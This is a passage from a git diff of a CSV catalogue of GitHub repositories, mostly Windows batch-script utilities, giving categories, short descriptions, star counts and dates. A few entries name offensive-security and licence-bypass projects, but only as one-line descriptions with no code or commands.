integration.",81,25,JavaScript,2024-03-28T07:58:43Z,2026-10-05T20:16:19Z +hclivess/whisperer,https://github.com/hclivess/whisperer,Batch subtitle generator GUI for video/audio — Whisper via faster-whisper or whisper.cpp (PySide6),79,9,Python,2026-08-20T18:02:04Z,2026-10-05T15:02:07Z +hashhar/Windows-Hacks,https://github.com/hashhar/Windows-Hacks,"This repository contains registry scripts, batch files and some knowledge to help you make your Windows do awesome stuff (at least by my standards).",78,13,PowerShell,2015-10-09T09:27:52Z,2026-06-30T18:20:40Z +xanderfrangos/crushee,https://github.com/xanderfrangos/crushee,Desktop tool for batch image optimization and resizing. Available for Windows and Mac. Built with Electron and Node.js.,77,15,JavaScript,2019-03-18T13:57:48Z,2026-08-25T18:16:11Z +naravid19/N_m3u8DL_RE_GUI,https://github.com/naravid19/N_m3u8DL_RE_GUI,"Windows GUI for N_m3u8DL-RE — download HLS, DASH, and Smooth Streaming with batch mode, mux options, resume support, and a browser companion extension for one-click stream capture.",77,7,C#,2025-08-05T08:31:31Z,2026-10-07T03:59:51Z +ritchielawrence/batchfunctionlibrary,https://github.com/ritchielawrence/batchfunctionlibrary,Library of Windows batch functions,76,18,HTML,2016-06-15T09:30:15Z,2026-10-02T19:56:38Z +Mario-Hero/toolUnRar,https://github.com/Mario-Hero/toolUnRar,用Python批量解压带密码的压缩包 A Python script for batch extraction with passwords,75,17,Python,2021-04-04T13:51:09Z,2026-09-07T07:55:28Z +CarlosZ16420/hamster-archiver,https://github.com/CarlosZ16420/hamster-archiver,Windows local-first file organizer and media catalog with MCP tools for AI assistants. Verified batch archiving. 本地文件整理、媒体建库与可校验批量归档，支持 AI 通过 MCP 调用。,75,1,JavaScript,2026-08-17T13:31:41Z,2026-10-07T08:51:33Z +EbolaMan-YT/custom-cmd,https://github.com/EbolaMan-YT/custom-cmd,,54,11,Batchfile,2023-02-28T23:24:20Z,2026-09-24T14:44:27Z +dubbyOW/BCDEditTweaks,https://github.com/dubbyOW/BCDEditTweaks,.cmd script for enhancing Windows performance through optimized BCDEdit parameters.,54,5,Batchfile,2024-06-30T12:22:45Z,2026-09-17T07:07:52Z +SegoCode/DebloBat,https://github.com/SegoCode/DebloBat,"⚙️ Yet another (and ugly) debloat, optimizer and tweaker for Windows 11 based on group policies",51,4,Batchfile,2022-02-10T10:02:10Z,2026-08-29T04:02:11Z +edinsuta/yt-dlp-batch,https://github.com/edinsuta/yt-dlp-batch,Simple batch files for simplifying basic usage of https://github.com/yt-dlp/yt-dlp (a fork of https://github.com/rg3/youtube-dl) Windows .exe releases,51,3,Batchfile,2021-12-23T13:56:56Z,2026-09-11T23:38:12Z +ykeara/SteamVR-Dongle-Flash,https://github.com/ykeara/SteamVR-Dongle-Flash,A simple Guide and batch script to flash steam controller dongles to watchman dongles for SteamVR/OpenVR,50,4,Batchfile,2019-04-26T20:40:34Z,2026-09-20T20:50:30Z +LennoC/N_m3u8DL-RE_SimpleBatGUI,https://github.com/LennoC/N_m3u8DL-RE_SimpleBatGUI,简单的批处理调用N_m3u8DL-RE进行下载，预设单个下载、批量下载、录播下载。,50,10,Batchfile,2023-07-31T09:23:18Z,2026-10-01T07:51:11Z diff --git a/z.repo_support/scripts/repo_results.csv b/z.repo_support/scripts/repo_results.csv index 33ead5d7..8c2c42b0 100644 --- a/z.repo_support/scripts/repo_results.csv +++ b/z.repo_support/scripts/repo_results.csv @@ -1,113 +1,119 @@ -"category","created_at","description","forks","language","name","quality_score","stars","updated_at","url" -"Offensive Security & Penetration Testing","2019-01-13T19:58:24Z","PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)","3365","C#","peass-ng/PEASS-ng","0.519","19995","2026-06-15T08:59:46Z","https://github.com/peass-ng/PEASS-ng" -"Development & Scripting Tools","2021-10-09T21:01:45Z","Universal MCT wrapper script for all Windows 10/11 versions from 1507 to 21H2!","3132","Batchfile","AveYo/MediaCreationTool.bat","0.738","10234","2026-06-15T10:53:30Z","https://github.com/AveYo/MediaCreationTool.bat" -"Development & Scripting Tools","2020-12-09T14:57:18Z","Uninstall Microsoft Edge with an executable or batch script.","196","Batchfile","ShadowWhisperer/Remove-MS-Edge","0.738","5203","2026-06-15T04:35:52Z","https://github.com/ShadowWhisperer/Remove-MS-Edge" -"Development & Scripting Tools","2013-09-02T10:45:45Z","A language that compiles to Bash and Windows Batch","168","OCaml","batsh-dev-team/Batsh","0.537","4352","2026-06-04T12:08:25Z","https://github.com/batsh-dev-team/Batsh" -"Network & Internet Tools","2025-07-09T05:55:44Z","一键生成产品营销与泛内容短视频，AI批量自动剪辑，高颜值跨平台桌面端工具 One click generation of product marketing and general content short videos, AI batch automatic cliping, beautiful cross platform desktop tool","605","TypeScript","YILS-LIN/short-video-factory","0.537","4085","2026-06-15T11:12:05Z","https://github.com/YILS-LIN/short-video-factory" -"File & Disk Utilities","2020-04-28T00:20:46Z","F2 is a cross-platform command-line tool for batch renaming files and directories quickly and safely. Written in Go!","64","Go","ayoisaiah/f2","0.537","2417","2026-06-14T09:21:34Z","https://github.com/ayoisaiah/f2" -"Development & Scripting Tools","2013-09-28T20:07:11Z","This Windows Batchscript helps setup a Mingw-w64 compiler environment for building ffmpeg and other media tools under Windows.","295","Shell","m-ab-s/media-autobuild_suite","0.575","1797","2026-06-15T08:21:08Z","https://github.com/m-ab-s/media-autobuild_suite" -"Development & Scripting Tools","2018-11-15T05:41:47Z","Collection of batch scripts utilities for Windows","284","VBScript","abbodi1406/BatUtil","0.556","1421","2026-06-15T09:20:54Z","https://github.com/abbodi1406/BatUtil" -"System Information & Diagnostics","2025-06-09T01:23:09Z","A powerful, all-in-one Windows maintenance toolkit built entirely in Batch & PowerShell. Designed for power users, sysadmins, and curious tinkerers – now smarter, safer, and fully offline-compatible.","78","PowerShell","ios12checker/Windows-Maintenance-Tool","0.594","1324","2026-06-15T00:04:24Z","https://github.com/ios12checker/Windows-Maintenance-Tool" -"Development & Scripting Tools","2014-04-18T17:53:07Z","batch script utils and examples by npocmaka -","880","Batchfile","npocmaka/batch.scripts","0.719","1132","2026-06-04T17:50:09Z","https://github.com/npocmaka/batch.scripts" -"System Tweaks & Performance Enhancements","2023-08-31T14:26:26Z","Pause & disable Windows updates for any duration. Remove Recall / Copilot. Debloat / privacy / telemetry tools. Supports Windows 10 and 11.","46","Batchfile","Aetherinox/pause-windows-updates","0.669","830","2026-06-14T04:45:03Z","https://github.com/Aetherinox/pause-windows-updates" -"Development & Scripting Tools","2015-02-13T03:29:15Z","Virtual machine templates for Windows written in legacy JSON and Batch Scripting/JScript","263","Ruby","boxcutter/windows","0.446","770","2026-06-14T22:06:04Z","https://github.com/boxcutter/windows" -"File & Disk Utilities","2022-05-24T10:06:00Z","A small Application for Windows that allows you to install the latest Version of ADB and Fastboot Files on the Computer without installing the entire Android SDK Package + Toolkit & Commands","94","Batchfile","K3V1991/ADB-and-FastbootPlusPlus","0.613","734","2026-06-15T11:04:29Z","https://github.com/K3V1991/ADB-and-FastbootPlusPlus" -"Offensive Security & Penetration Testing","2023-12-27T05:29:37Z","A CMD script to crack password protected ZIP, RAR, 7z and PDF files, using JohnTheRipper.","104","Batchfile","illsk1lls/ZipRipper","0.611","730","2026-06-15T06:54:38Z","https://github.com/illsk1lls/ZipRipper" -"Audio, Video Capture, Conversion & Playback","2019-01-12T07:09:53Z","A free GUI application for HandBrake and FFmpeg/FFprobe with an emphasis on batch conversion (including recursive folder scans and folder watching) -Windows, macOS, Linux & Docker","57","HTML","HaveAGitGat/HBBatchBeast","0.419","705","2026-06-12T16:40:16Z","https://github.com/HaveAGitGat/HBBatchBeast" -"Offensive Security & Penetration Testing","2015-11-19T13:22:01Z","Windows batch script that finds misconfiguration issues which can lead to privilege escalation.","103","PowerShell","enjoiz/Privesc","0.429","683","2026-06-13T09:51:42Z","https://github.com/enjoiz/Privesc" -"System Tweaks & Performance Enhancements","2021-06-18T21:14:22Z","ET is a powerful application to improve performance, debloat, optimize and enhance privacy for Windows 10/11.","46","C#","semazurek/ET-Optimizer","0.374","592","2026-06-12T09:52:00Z","https://github.com/semazurek/ET-Optimizer" -"Development & Scripting Tools","2018-06-24T06:33:48Z","wimbuilder with new UI & new syntax (hta+bat+vbs+js)","117","Batchfile","slorelee/wimbuilder2","0.532","580","2026-06-14T05:26:36Z","https://github.com/slorelee/wimbuilder2" -"Development & Scripting Tools","2016-08-02T21:01:45Z","A Windows Batch script and a Unix Bash script to comprehensively collect host forensic data during incident response.","91","Batchfile","diogo-fernan/ir-rescue","0.552","489","2026-06-07T12:23:53Z","https://github.com/diogo-fernan/ir-rescue" -"Other & Uncategorized","2021-03-28T13:59:24Z","Windows","95","Batchfile","TairikuOokami/Windows","0.513","485","2026-06-11T08:32:12Z","https://github.com/TairikuOokami/Windows" -"File & Disk Utilities","2015-02-24T15:00:45Z","Sets up file associations for mpv on Windows","47","Batchfile","rossy/mpv-install","0.506","468","2026-06-15T04:48:40Z","https://github.com/rossy/mpv-install" -"Development & Scripting Tools","2011-01-10T20:08:13Z","Port of Doug Hellmann's virtualenvwrapper to Windows batch scripts","103","Batchfile","davidmarble/virtualenvwrapper-win","0.54","459","2026-04-02T16:29:02Z","https://github.com/davidmarble/virtualenvwrapper-win" -"System Tweaks & Performance Enhancements","2020-07-07T18:37:01Z","MajorGeeks Windows Tweaks contains well over 200 registry, PowerShell, Visual Basic, and batch files to enable tweaks and hidden features in Windows 10, 8, and 7 for any skill level.","36","","MajorGeek/MajorGeeks-Windows-Tweaks","0.32","410","2026-06-09T19:33:29Z","https://github.com/MajorGeek/MajorGeeks-Windows-Tweaks" -"System Tweaks & Performance Enhancements","2017-04-17T11:02:55Z","A bash script that batch installs and tweaks GNOME extensions as well as GTK/Shell themes. There are currently three options available: Unity, Windows and macOS.","39","Shell","vmavromatis/gnome-layout-manager","0.335","401","2026-06-01T11:30:38Z","https://github.com/vmavromatis/gnome-layout-manager" -"Offensive Security & Penetration Testing","2020-05-16T09:15:23Z","This project is based upon the trick that, how to hack WI-FI with CMD. The main purpose behind, creating wifi hacking tool with cmd tool is to make everyone aware that how easy it is to break a simple password. And, motivate them to keep some complex passwords – to keep them protected against it.","191","Batchfile","TheBATeam/Batch-WI-FI-Brute-Forcer","0.467","370","2026-06-06T04:41:09Z","https://github.com/TheBATeam/Batch-WI-FI-Brute-Forcer" -"Development & Scripting Tools","2024-10-24T23:08:26Z","Block Adobe, Autodesk, Corel and other apps from the internet on Windows. Single batch script, MIT, no third-party tools.","37","Batchfile","ph33nx/WinMasterBlocker","0.513","346","2026-06-09T18:00:00Z","https://github.com/ph33nx/WinMasterBlocker" -"Development & Scripting Tools","2016-11-15T20:08:47Z","A small batch script for resetting Visual Assist X's trial period.","100","Batchfile","vogeljo/reset-vassistx","0.473","339","2026-06-12T08:58:49Z","https://github.com/vogeljo/reset-vassistx" -"Gaming & Entertainment Tools","2023-11-28T21:43:39Z","Decrypting Nintendo 3DS games and applications (.3ds, .cia)","21","Batchfile","xxmichibxx/Batch-CIA-3DS-Decryptor-Redux","0.436","339","2026-06-15T05:58:04Z","https://github.com/xxmichibxx/Batch-CIA-3DS-Decryptor-Redux" -"Development & Scripting Tools","2018-02-05T21:00:56Z","An open source batch script based WiFi Passview for Windows!","76","Batchfile","warengonzaga/wifi-passview","0.491","337","2026-06-11T03:35:00Z","https://github.com/warengonzaga/wifi-passview" -"Development & Scripting Tools","2025-10-05T19:44:49Z","GPL-3.0 开源的 IDM Activation Script 中文版：Windows 批处理脚本，支持 IDM 试用期冻结、普通激活、重置和环境自检","22","Batchfile","tytsxai/IDM-Activation-Script-Chinese","0.472","337","2026-06-15T11:02:35Z","https://github.com/tytsxai/IDM-Activation-Script-Chinese" -"Development & Scripting Tools","2025-12-01T20:43:03Z","A web-based tool that generates customized Windows post-installation batch scripts. Select from 100+ software applications and 80+ system configurations to create a personalized Windows setup script.","18","JavaScript","kaic/win-post-install","0.327","334","2026-06-11T00:46:26Z","https://github.com/kaic/win-post-install" -"Other & Uncategorized","2024-06-14T17:04:37Z","Easily configure Microsoft Edge, the way you want it!","12","Batchfile","TheBobPony/MSEdgeTweaker","0.424","310","2026-06-14T03:24:38Z","https://github.com/TheBobPony/MSEdgeTweaker" -"Development & Scripting Tools","2018-03-10T20:18:32Z","KISS batch script to easily convert PNG, GIF, BMP, SVG or JPG images to multi-resolution ICO files using ImageMagick.","31","Batchfile","FoxP/PNG-to-ICO","0.453","288","2026-06-05T06:03:10Z","https://github.com/FoxP/PNG-to-ICO" -"File & Disk Utilities","2024-04-17T14:40:06Z","a little batch file that permanently removes the Outlook (New) app from Windows 10/11","21","Batchfile","matej137/OutlookRemover","0.441","259","2026-06-10T13:12:51Z","https://github.com/matej137/OutlookRemover" -"System Tweaks & Performance Enhancements","2023-02-05T18:19:47Z","Open Source Tweaker made to improve system performance and lower system latency.","22","Batchfile","ancel1x/Ancels-Performance-Batch","0.438","251","2026-06-05T20:57:15Z","https://github.com/ancel1x/Ancels-Performance-Batch" -"File & Disk Utilities","2017-05-01T09:00:20Z","Various batch files for Windows","57","Batchfile","Espionage724/Windows","0.429","228","2026-06-14T05:19:46Z","https://github.com/Espionage724/Windows" -"Development & Scripting Tools","2023-07-28T21:26:41Z","Windows 11 Scripts","31","Batchfile","shoober420/windows11-scripts","0.422","212","2026-06-12T17:30:40Z","https://github.com/shoober420/windows11-scripts" -"File & Disk Utilities","2017-06-17T11:42:38Z","Windows batch file to perform unattended installations of a portable Cygwin environment.","42","Batchfile","vegardit/cygwin-portable-installer","0.422","211","2026-05-13T22:35:22Z","https://github.com/vegardit/cygwin-portable-installer" -"Development & Scripting Tools","2017-04-11T03:59:07Z","This script reset the Windows Update Components.","48","Batchfile","ManuelGil/Script-Reset-Windows-Update-Tool","0.418","201","2026-06-09T01:01:16Z","https://github.com/ManuelGil/Script-Reset-Windows-Update-Tool" -"Development & Scripting Tools","2019-08-02T20:18:08Z","A Windows batch file that tries Windows activation keys found around the internet.","80","Batchfile","prestonsn/windows-10-activation-script","0.414","192","2026-05-30T01:58:01Z","https://github.com/prestonsn/windows-10-activation-script" -"Network & Internet Tools","2015-10-28T05:41:07Z","常用批处理","67","Batchfile","auspbro/batch-snippets","0.371","178","2026-02-09T15:07:04Z","https://github.com/auspbro/batch-snippets" -"Development & Scripting Tools","2016-07-22T15:31:39Z","Batch script to completely uninstall OneDrive in Windows 10","41","Batchfile","JaredCabot/OneDrive-Uninstaller","0.419","157","2026-05-12T14:14:13Z","https://github.com/JaredCabot/OneDrive-Uninstaller" -"Development & Scripting Tools","2015-05-01T23:34:22Z","Windows SteamCMD to autoupdate and install any game server steam cmd settings configurable lots of useful features. This batch script will keep your game servers automaticly updated updating intervals announce the server is shutting down for updates etc all configurable.","30","Batchfile","C0nw0nk/SteamCMD-AutoUpdate-Any-Gameserver","0.419","157","2026-06-11T03:27:30Z","https://github.com/C0nw0nk/SteamCMD-AutoUpdate-Any-Gameserver" -"Development & Scripting Tools","2018-08-24T15:01:55Z","Batch script files for FFMPEG (Microsoft Windows and DOS, OS/2 :unicorn:)","30","Batchfile","KnightDanila/BAT_FFMPEG","0.412","139","2026-05-05T08:47:10Z","https://github.com/KnightDanila/BAT_FFMPEG" -"Development & Scripting Tools","2017-05-09T13:25:06Z","Collection of Batch scripts, examples and some details for various commands are considered.","22","Batchfile","happy05dz/Batch-Script-Collection","0.373","134","2026-06-12T17:29:03Z","https://github.com/happy05dz/Batch-Script-Collection" -"Development & Scripting Tools","2020-07-28T07:13:14Z","FreakC Programming Language - an experimental Batch-like language written in Batch which compiles to Batch","10","Batchfile","FreakC-Foundation/FreakC","0.37","129","2026-04-23T22:36:58Z","https://github.com/FreakC-Foundation/FreakC" -"Development & Scripting Tools","2016-05-11T02:18:46Z","Scripts and snippets from the Batchography book","59","Batchfile","PassingTheKnowledge/Batchography","0.389","128","2026-02-15T09:07:47Z","https://github.com/PassingTheKnowledge/Batchography" -"Development & Scripting Tools","2023-08-14T19:44:26Z","A simple script that patches your systems hosts file to stop the Outlook desktop client from displaying ads in your inbox.","4","Batchfile","Pyenb/Outlook-desktop-ad-blocker","0.388","127","2026-06-12T23:53:05Z","https://github.com/Pyenb/Outlook-desktop-ad-blocker" -"Development & Scripting Tools","2016-11-11T08:52:58Z","A bat script to auto config Windows Server 2016 to ""Windows Desktop""","41","Batchfile","m2nlight/WindowsServerToWindowsDesktop","0.388","125","2026-05-03T03:53:52Z","https://github.com/m2nlight/WindowsServerToWindowsDesktop" -"File & Disk Utilities","2023-01-06T16:30:24Z","Batch files to quickly prepare images and train a NeRF using Instant-NGP. This project only works for Instant-NGP Binaries on Windows.","8","Batchfile","jonstephens85/instantngp-batch","0.386","122","2026-04-02T14:55:58Z","https://github.com/jonstephens85/instantngp-batch" -"Development & Scripting Tools","2017-01-17T18:01:17Z","A script for windows 10 with purpose of tweaking your windows install by removing stuff like windows apps _ Cortana _ Edge, you can also tweak the personalization settings that are hidden and almost everything have a restore option","21","Batchfile","YasserDRIF/Toggle-Tweaker","0.384","116","2026-05-08T20:55:56Z","https://github.com/YasserDRIF/Toggle-Tweaker" -"Development & Scripting Tools","2017-12-19T21:51:03Z","Windows Batch script to automate batch processing using mkvtoolnix.","13","Batchfile","Serede/mkvtoolnix-batch","0.421","115","2026-03-19T17:32:24Z","https://github.com/Serede/mkvtoolnix-batch" -"Other & Uncategorized","2018-05-31T15:36:41Z","Online/Offline KMS Activator for Microsoft Windows/Office/VisualStudio VL Products","39","Batchfile","gatoslu/KMS-VL-ALL-CMD","0.364","114","2026-04-07T18:00:30Z","https://github.com/gatoslu/KMS-VL-ALL-CMD" -"System Tweaks & Performance Enhancements","2022-08-11T14:11:30Z","A minimal windows batch script that cleans your PC from temporary files.","12","Batchfile","chainski/WindowsCleanerUtility","0.401","113","2026-06-12T10:03:06Z","https://github.com/chainski/WindowsCleanerUtility" -"Development & Scripting Tools","2022-05-23T12:38:35Z","Pure ADB (Android Debug Bridge) with Batch Script to easily open a CMD Window","19","Batchfile","K3V1991/ADBKit","0.382","110","2026-06-11T19:07:53Z","https://github.com/K3V1991/ADBKit" -"Other & Uncategorized","2022-02-22T17:30:11Z","Terabyte Tweaker is a program written in batch that allows your PC to run at better speeds, it transforms a ""Bad PC"" onto a ""Medium PC"", and turns a ""Medium PC"" into a monster.","7","Batchfile","Kawwabi/TerabyteTweaker","0.363","110","2026-06-14T14:28:10Z","https://github.com/Kawwabi/TerabyteTweaker" -"System Information & Diagnostics","2021-10-21T06:01:49Z","CLI-based toolbox for Windows Subsystem for Android. Includes installation of APKs, installation of WSA, and diagnostics.","25","Batchfile","weareblahs/WSAUtilities","0.4","109","2026-05-03T08:05:20Z","https://github.com/weareblahs/WSAUtilities" -"File & Disk Utilities","2026-03-22T13:28:12Z","Single-file Windows batch tool to fully detect, uninstall, and deep-clean all Autodesk products (2015–2026+). Achieves verified zero-remnant clean without reboot. Handles ODIS, MSI, BitRock installers. 16-point verification. Windows 10/11.","9","Batchfile","bequiet11/autodesk-complete-uninstaller","0.417","106","2026-06-13T15:09:51Z","https://github.com/bequiet11/autodesk-complete-uninstaller" -"System Tweaks & Performance Enhancements","2020-03-14T16:38:46Z","The open source batch file that gives efforts to boost system performance, latency, and stability.","10","Batchfile","Zusier/Zusiers-optimization-Batch","0.399","106","2026-05-30T09:54:02Z","https://github.com/Zusier/Zusiers-optimization-Batch" -"Offensive Security & Penetration Testing","2023-08-08T19:26:00Z","Batch scripts to dump L3 CDM using frida-server and wvdumper","16","Batchfile","sim0n00ps/L3-Dumping","0.378","101","2026-06-14T04:20:03Z","https://github.com/sim0n00ps/L3-Dumping" -"Gaming & Entertainment Tools","2017-05-28T08:49:27Z","在图片、压缩包和文件夹右键菜单加入MangaMeeya调用项。将bat放在MangaMeeya文件夹下运行。","9","Batchfile","gameclamp/MangaMeeyaAssociations","0.34","100","2026-06-14T11:22:30Z","https://github.com/gameclamp/MangaMeeyaAssociations" -"Other & Uncategorized","2026-02-07T11:43:30Z","Навык (Skill) для AI-агентов: сборка/разборка обработок 1С в XML, выгрузка/загрузка конфигураций и расширений пакетными командами 1С: Предприятие","11","Batchfile","vladimir-kharin/1c-batch","0.338","96","2026-06-13T17:03:00Z","https://github.com/vladimir-kharin/1c-batch" -"System Tweaks & Performance Enhancements","2017-11-22T23:45:31Z","A free maintenance tool that can automatically or manually clean up your Windows machine in a simple and reliable way. 😉💻🧹","14","Batchfile","warengonzaga/wrn-cleaner","0.394","95","2026-04-15T02:40:35Z","https://github.com/warengonzaga/wrn-cleaner" -"System Tweaks & Performance Enhancements","2022-05-29T22:36:21Z","Batlez Tweaks is a batch tweaking script that optimizes your system to provide the best gaming experience possible. It is free and open-source, and works on Windows 10 & 11!","12","Batchfile","Batlez/Batlez-Tweaks","0.431","93","2026-06-11T00:16:55Z","https://github.com/Batlez/Batlez-Tweaks" -"Security & Privacy Tools","2018-03-22T20:33:03Z","A batch script to demonstrate complex Microsoft Office deployments","10","Batchfile","SwiftOnSecurity/OfficeDeployFramework","0.456","92","2025-05-16T00:10:06Z","https://github.com/SwiftOnSecurity/OfficeDeployFramework" -"Development & Scripting Tools","2020-04-08T02:26:17Z","Run custom external application or script (batch/bash/powershell/php/python/node.js/custom) on various events within the Emby Server.","6","Batchfile","AnthonyMusgrove/Emby-ScripterX","0.374","91","2026-05-31T23:19:13Z","https://github.com/AnthonyMusgrove/Emby-ScripterX" -"Offensive Security & Penetration Testing","2016-09-25T17:36:09Z","Batch file to help automate Windows enumeration for privilege escalation","36","Batchfile","azmatt/windowsEnum","0.374","91","2026-01-10T22:14:37Z","https://github.com/azmatt/windowsEnum" -"Development & Scripting Tools","2019-05-22T10:24:31Z","PDQ Deploy Scripts, Tools, Utilities ... For IT daily Administration","15","Batchfile","wizz13150/PDQ_Repo","0.392","90","2026-04-29T22:29:03Z","https://github.com/wizz13150/PDQ_Repo" -"Offensive Security & Penetration Testing","2019-02-11T19:05:58Z","Windows privilege escalation with cmd","31","Batchfile","carlospolop/winPE","0.355","90","2026-05-27T16:01:57Z","https://github.com/carlospolop/winPE" -"Offensive Security & Penetration Testing","2019-07-12T07:47:18Z","Batch script to compile a binary shellcode blob into an exe file","13","Batchfile","repnz/shellcode2exe","0.373","89","2026-05-18T14:00:18Z","https://github.com/repnz/shellcode2exe" -"Development & Scripting Tools","2022-08-27T21:06:49Z","A simple Script capable of optimizing and repairing almost any error that may occur on your Windows computer","4","Batchfile","Ec-25/FixIt","0.372","85","2026-05-14T14:07:31Z","https://github.com/Ec-25/FixIt" -"System Tweaks & Performance Enhancements","2015-08-13T01:51:39Z","Autotuner Windows 10 for awesome perfomance setting, privacy and security.","27","Batchfile","SeregaSPb/Windows-10-batch-optimizer","0.352","84","2026-06-04T04:33:59Z","https://github.com/SeregaSPb/Windows-10-batch-optimizer" -"Development & Scripting Tools","2012-06-11T18:27:09Z","Some basic batch scripts","35","Batchfile","geekcomputers/Batch","0.371","83","2026-05-26T05:36:23Z","https://github.com/geekcomputers/Batch" -"Development & Scripting Tools","2022-07-14T19:32:19Z","For educational purposes, learn how a batch script can handle emmcdl process.","22","Batchfile","HadiKhoirudin/Qualcomm-Tool","0.37","82","2026-05-20T19:36:39Z","https://github.com/HadiKhoirudin/Qualcomm-Tool" -"Development & Scripting Tools","2024-10-05T12:49:38Z","I-Espresso is a tool that enables users to generate Portable Executable (PE) files from batch scripts. Leveraging IExpress, it demonstrates how file extension spoofing can be used to evade detection.","14","Batchfile","AnonKryptiQuz/I-Espresso","0.371","82","2026-06-10T00:21:58Z","https://github.com/AnonKryptiQuz/I-Espresso" -"Other & Uncategorized","2018-02-17T09:33:21Z","Level 2B - OS unique identifiers spoof","38","Batchfile","vektort13/antiOS_batch","0.332","81","2026-05-22T04:11:50Z","https://github.com/vektort13/antiOS_batch" -"File & Disk Utilities","2025-01-18T22:25:27Z","A tool, written as a batch file, used to shift your PC's active hour configuration to prevent Windows from shutting down automatically after installing updates.","3","Batchfile","TechTank/AlwaysActiveHours","0.388","79","2026-06-12T13:46:40Z","https://github.com/TechTank/AlwaysActiveHours" -"Security & Privacy Tools","2019-05-10T05:54:58Z","Combined Windows Privacy Utilities | Hosts file updater, block list manager, and more. Open source tools for Windows users, to help ensure privacy & security. Block ads, spyware domains, and other malicious activity/traffic, all through a simple interface.","4","Batchfile","bongochong/CWP-Utilities","0.387","78","2026-05-17T05:49:01Z","https://github.com/bongochong/CWP-Utilities" -"Development & Scripting Tools","2024-03-12T19:55:45Z","This script is made to make usage of YT-DLP easier.","4","Batchfile","mrblomblo/yt-dlp-usage-script","0.35","77","2026-04-29T19:46:44Z","https://github.com/mrblomblo/yt-dlp-usage-script" -"Offensive Security & Penetration Testing","2020-12-15T07:34:52Z","An active attack tool against Wi-Fi networks with internal CMD commands","21","Batchfile","TechnicalUserX/batch_wifi_brute_forcer","0.35","77","2026-05-06T22:29:55Z","https://github.com/TechnicalUserX/batch_wifi_brute_forcer" -"System Tweaks & Performance Enhancements","2020-10-19T03:18:22Z","The following batch files are included in the archive 1) Advanced Explorer Settings — This changes more than a dozen File Explorer related settings on Windows 10 that turn of animations, enable menus, or turn off things like Toasts. 2) Disable Automatic App Updates — Turns off automatic updates for Windows Store applications. 3) Disable Automatic Windows Updates — Turns off automatic updates for the Windows 10 operating system itself. 4) Disable Cortana Completely — Rename the cortana process searchUI.exe to searchUI.bak. This will kill the process permanetly and save your ressources. 5) Disable Forced Reboot after Update — Blocks Windows from enforcing a reboot after updates that require one. 6) Disable Lockscreen — Turns off the Windows 10 lockscreen. 7) Disable Telemetry — Turns off Windows 10 Telemetry. 8) Disable Unnecessary Services — This disables the MapsBroker, DoSvc and Wsearch services 9) Enable Defender Malware Protection — Enables Windows malware Protection. 10)Enable Secure Microsoft Edge Settings — Tweaks Microsoft Edge for security. Changes include turning of Flash and Cortana, enabling continuous browsing, and more. 11)Get Back Old Vertical Desktop Icon Distance — Changes the vertical icon spacing on the desktop. 12)Hide Cortana — Disables Cortana, and with it web searches and other search related parameters. The Microsoft way of disabling Cortana. 13)Hide OneDrive — Hides OneDrive and disables several related settings. 14)Re-enable Cortana Completely — This preferences turns Cortana on again. 15)Uninstall Unnecessary Apps — Removes ten apps that Windows 10 ships with including 3D Builder, Skype App, Getting Started, or Voice Recorder. 16)Enable Administrator Account — This preference enables the hidden administrator account in Windows. 17)Enable Standby instead of Hibernate — Switch powerstate from hibernation (slow) to standby . 18)Get apps access for Administrator Account — Enable access to applications for the administrator account.","10","Batchfile","balsamleti/speedup-windows10","0.425","77","2026-04-17T11:19:46Z","https://github.com/balsamleti/speedup-windows10" -"File & Disk Utilities","2024-01-27T16:50:37Z","Root BlueStacks 5 with real Magisk (Kitsune) in one .cmd file, no traces. Supports the latest 5.22+ with NO downgrade — bypasses the 'illegally tampered' disk-integrity check. Android 9, 11 & 13. Open source.","9","Batchfile","Jordan231111/BluestacksRoot","0.312","75","2026-06-15T11:09:06Z","https://github.com/Jordan231111/BluestacksRoot" -"Development & Scripting Tools","2023-11-20T19:56:28Z","BatchASM - primitive virtual machine (high level assembly language) for executing instructions in programming language environment Windows Batch.","2","Batchfile","DosX-dev/BatchASM","0.367","74","2026-06-15T07:39:50Z","https://github.com/DosX-dev/BatchASM" -"Development & Scripting Tools","2020-09-11T14:18:01Z","An executable cmd batch script that 100% Disables Windows 10 Update.","18","Batchfile","TarikSeyceri/Windows-10-Update-Disabler.bat","0.385","72","2026-03-02T23:26:24Z","https://github.com/TarikSeyceri/Windows-10-Update-Disabler.bat" -"File & Disk Utilities","2018-06-18T19:39:50Z","Simple batch files for simplifying basic usage of https://github.com/rg3/youtube-dl Windows .exe releases","18","Batchfile","edinsuta/youtube-dl-batch","0.366","72","2026-01-16T14:19:44Z","https://github.com/edinsuta/youtube-dl-batch" -"Gaming & Entertainment Tools","2022-01-26T15:08:58Z","解锁 Minecraft for Windows （MCBE）的一键 BAT 脚本","9","Batchfile","jiesou/MFWL-Minecraft-For-Windows-Unlock-Launcher","0.348","72","2026-06-06T02:51:52Z","https://github.com/jiesou/MFWL-Minecraft-For-Windows-Unlock-Launcher" -"Audio, Video Capture, Conversion & Playback","2017-04-15T05:34:02Z","结合you-get、youtube-dl和FFMPEG，附带文件管理视频播放等命令","22","Batchfile","WWILLV/you-get-ffmpeg","0.328","71","2026-03-31T08:59:14Z","https://github.com/WWILLV/you-get-ffmpeg" -"Process, Service & Startup Management","2020-02-12T10:01:14Z","Empty Standby Memory automatically with Task Scheduler + EmptyStandbyList + .BAT","15","Batchfile","stefanpejcic/EmptyStandbyList","0.328","70","2026-06-14T03:43:21Z","https://github.com/stefanpejcic/EmptyStandbyList" -"Development & Scripting Tools","2017-04-22T22:58:47Z","A batch script for convert video to GIF files by FFmpeg.exe on Windows","12","Batchfile","NabiKAZ/video2gif","0.383","67","2026-03-27T18:56:40Z","https://github.com/NabiKAZ/video2gif" -"Development & Scripting Tools","2023-04-30T04:12:33Z","A Batch script that sets up Av1an with all it's dependencies in a portable workspace","6","Batchfile","Hishiro64/av1an-win-script","0.364","66","2026-05-11T22:29:13Z","https://github.com/Hishiro64/av1an-win-script" -"Development & Scripting Tools","2017-05-30T00:59:04Z",":shell: Various batch files (descriptions are in the read me file)","20","Batchfile","Archive-projects/Batch-File-examples","0.364","66","2026-03-22T19:09:26Z","https://github.com/Archive-projects/Batch-File-examples" -"Other & Uncategorized","2026-05-17T21:19:51Z","Windows Repair Tool Pro هي أداة مجانية مخصصة لصيانة وإصلاح مشاكل ويندوز بسهولة من خلال واجهة CMD بسيطة وسريعة.","16","Batchfile","newmatrix/WinRTP","0.364","65","2026-06-14T18:50:15Z","https://github.com/newmatrix/WinRTP" -"Development & Scripting 